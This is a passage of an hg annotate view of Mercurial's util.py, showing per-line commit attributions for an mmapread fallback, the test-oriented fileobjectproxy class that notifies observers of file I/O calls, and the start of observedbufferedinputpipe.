3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	419 except ValueError:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	420 # Empty files cannot be mmapped, but mmapread should still work. Check
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	421 # if the file is empty, and if so, return an empty buffer.
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	422 if os.fstat(fd).st_size == 0:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	423 return ''
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	424 raise
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	425
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	426
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	427 class fileobjectproxy(object):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	428 """A proxy around file objects that tells a watcher when events occur.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	429
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	430 This type is intended to only be used for testing purposes. Think hard
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	431 before using it in important code.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	432 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	433
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	434 __slots__ = (
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	435 r'_orig',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	436 r'_observer',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	437 )
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	438
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	439 def __init__(self, fh, observer):
36613 f5427483eebe util: add missing r prefix on some __setattr__ calls Augie Fackler <augie@google.com> parents: 36580 diff changeset	440 object.__setattr__(self, r'_orig', fh)
f5427483eebe util: add missing r prefix on some __setattr__ calls Augie Fackler <augie@google.com> parents: 36580 diff changeset	441 object.__setattr__(self, r'_observer', observer)
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	442
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	443 def __getattribute__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	444 ours = {
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	445 r'_observer',
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	446 # IOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	447 r'close',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	448 # closed if a property
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	449 r'fileno',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	450 r'flush',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	451 r'isatty',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	452 r'readable',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	453 r'readline',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	454 r'readlines',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	455 r'seek',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	456 r'seekable',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	457 r'tell',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	458 r'truncate',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	459 r'writable',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	460 r'writelines',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	461 # RawIOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	462 r'read',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	463 r'readall',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	464 r'readinto',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	465 r'write',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	466 # BufferedIOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	467 # raw is a property
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	468 r'detach',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	469 # read defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	470 r'read1',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	471 # readinto defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	472 # write defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	473 }
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	474
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	475 # We only observe some methods.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	476 if name in ours:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	477 return object.__getattribute__(self, name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	478
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	479 return getattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	480
36840 6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	481 def __nonzero__(self):
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	482 return bool(object.__getattribute__(self, r'_orig'))
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	483
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	484 __bool__ = __nonzero__
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	485
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	486 def __delattr__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	487 return delattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	488
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	489 def __setattr__(self, name, value):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	490 return setattr(object.__getattribute__(self, r'_orig'), name, value)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	491
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	492 def __iter__(self):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	493 return object.__getattribute__(self, r'_orig').__iter__()
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	494
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	495 def _observedcall(self, name, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	496 # Call the original object.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	497 orig = object.__getattribute__(self, r'_orig')
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	498 res = getattr(orig, name)(args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	499
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	500 # Call a method on the observer of the same name with arguments
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	501 # so it can react, log, etc.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	502 observer = object.__getattribute__(self, r'_observer')
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	503 fn = getattr(observer, name, None)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	504 if fn:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	505 fn(res, args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	506
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	507 return res
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	508
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	509 def close(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	510 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	511 r'close', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	512 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	513
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	514 def fileno(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	515 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	516 r'fileno', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	517 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	518
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	519 def flush(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	520 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	521 r'flush', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	522 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	523
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	524 def isatty(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	525 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	526 r'isatty', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	527 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	528
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	529 def readable(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	530 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	531 r'readable', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	532 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	533
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	534 def readline(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	535 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	536 r'readline', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	537 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	538
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	539 def readlines(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	540 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	541 r'readlines', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	542 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	543
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	544 def seek(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	545 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	546 r'seek', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	547 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	548
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	549 def seekable(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	550 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	551 r'seekable', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	552 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	553
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	554 def tell(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	555 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	556 r'tell', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	557 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	558
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	559 def truncate(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	560 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	561 r'truncate', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	562 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	563
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	564 def writable(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	565 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	566 r'writable', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	567 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	568
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	569 def writelines(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	570 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	571 r'writelines', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	572 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	573
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	574 def read(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	575 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	576 r'read', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	577 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	578
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	579 def readall(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	580 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	581 r'readall', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	582 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	583
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	584 def readinto(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	585 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	586 r'readinto', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	587 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	588
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	589 def write(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	590 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	591 r'write', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	592 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	593
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	594 def detach(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	595 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	596 r'detach', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	597 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	598
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	599 def read1(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	600 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	601 r'read1', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	602 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	603
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	604
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	605 class observedbufferedinputpipe(bufferedinputpipe):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	606 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	607
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	608 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	609 bypass ``fileobjectproxy``. Because of this, we need to make
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	610 ``bufferedinputpipe`` aware of these operations.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	611
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	612 This variation of ``bufferedinputpipe`` can notify observers about
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	613 ``os.read()`` events. It also re-publishes other events, such as
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	614 ``read()`` and ``readline()``.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	615 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	616
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	617 def _fillbuffer(self):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	618 res = super(observedbufferedinputpipe, self)._fillbuffer()
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	619
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	620 fn = getattr(self._input._observer, r'osread', None)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	621 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	622 fn(res, _chunksize)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	623
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	624 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	625
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	626 # We use different observer methods because the operation isn't
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	627 # performed on the actual file object but on us.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	628 def read(self, size):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	629 res = super(observedbufferedinputpipe, self).read(size)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	630
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	631 fn = getattr(self._input._observer, r'bufferedread', None)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	632 if fn:
